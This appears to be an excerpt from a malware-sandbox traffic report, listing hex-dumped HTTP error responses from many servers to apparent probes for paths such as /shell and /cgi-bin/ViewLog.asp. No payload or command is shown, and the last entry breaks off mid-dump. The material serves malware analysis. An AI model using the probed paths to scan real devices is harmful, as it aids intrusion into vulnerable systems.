Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:23:12 GMTServer: ApacheContent-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 09:23:11 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:23:12 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 292Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 21 Mar 2024 04:23:13 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cacheContent-Type: text/htmlContent-Length: 345Date: Mon, 02 Feb 1970 17:11:13 GMTServer: lighttpdData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:23:13 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:23:13 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:23:13 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Thu, 21 Mar 2024 04:23:19 GMTserver: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fipscontent-length: 217content-type: text/html; charset=iso-8859-1set-cookie: NB_SRVID=srv91965255; path=/connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Thu, 21 Mar 2024 04:13:36 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Thu, 21 Mar 2024 04:13:36 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:23:33 GMTServer: webserverContent-Length: 195Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /cgi-bin/ViewLog.asp</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Thu, 21 Mar 2024 04:13:36 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:23:34 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:23:34 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:23:34 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:23:38 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 33 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:23:38 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:23:39 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Server: ClausWeb-nginxcluster-host: server46.romania-webhosting.comData Raw: 65 66 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 0d 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0d 0a 3c 21 2d 2d 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 40 69 6d 70 6f 72 74 20 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 49 6e 63 6f 6e 73 6f 6c 61 74 61 27 3b 0d 0a 68 74 6d 6c 20 7b 0d 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0d 0a 20 20 2f 2a 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 23 31 31 35 38 31 45 2c 20 23 30 34 31 36 30 37 29 2c 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 67 69 70 68 79 2e 63 6f 6d 2f 6d 65 64 69 61 2f 6f 45 49 39 75 42 59 53 7a 4c 70 42 4b 2f 67 69 70 68 79 2e 67 69 66 22 29 3b 2a 2f 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 49 6e 63 6f 6e 73 6f 6c 61 74 61 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 31 32 38 2c 20 32 35 35 2c 20 31 32 38 2c 20 30 2e 38 29 3b 0d 0a 20 20 74 65 78 74 2d 73 68 61 64 6f 